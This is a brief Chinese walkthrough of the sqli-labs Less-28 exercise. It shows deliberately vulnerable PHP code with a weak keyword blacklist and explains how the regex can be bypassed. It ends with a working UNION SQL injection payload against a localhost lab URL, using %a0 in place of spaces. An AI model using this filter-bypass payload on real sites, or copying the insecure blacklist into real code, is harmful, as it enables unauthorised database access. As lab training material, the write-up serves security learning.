关键代码
function blacklist($id) { $id= preg_replace('/[/*]/',"", $id); //strip out /* $id= preg_replace('/[--]/',"", $id); //Strip out --. $id= preg_replace('/[#]/',"", $id); //Strip out #. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. //$id= preg_replace('/select/m',"", $id); //Strip out spaces. $id= preg_replace('/[ +]/',"", $id); //Strip out spaces. $id= preg_replace('/unions+select/i',"", $id); //Strip out UNION & SELECT. return $id; } $id=$_GET['id']; $id= blacklist($id); $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //print_r(mysql_error());
正则表达式'/unions+select/i'中,s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小写。
所以我们可以将union 和 select中间的空格使用%a替换,我们直接给出一个payload:
http://127.0.0.1/sql/Less-28/?id=100')union%a0select%a01,database(),3||('1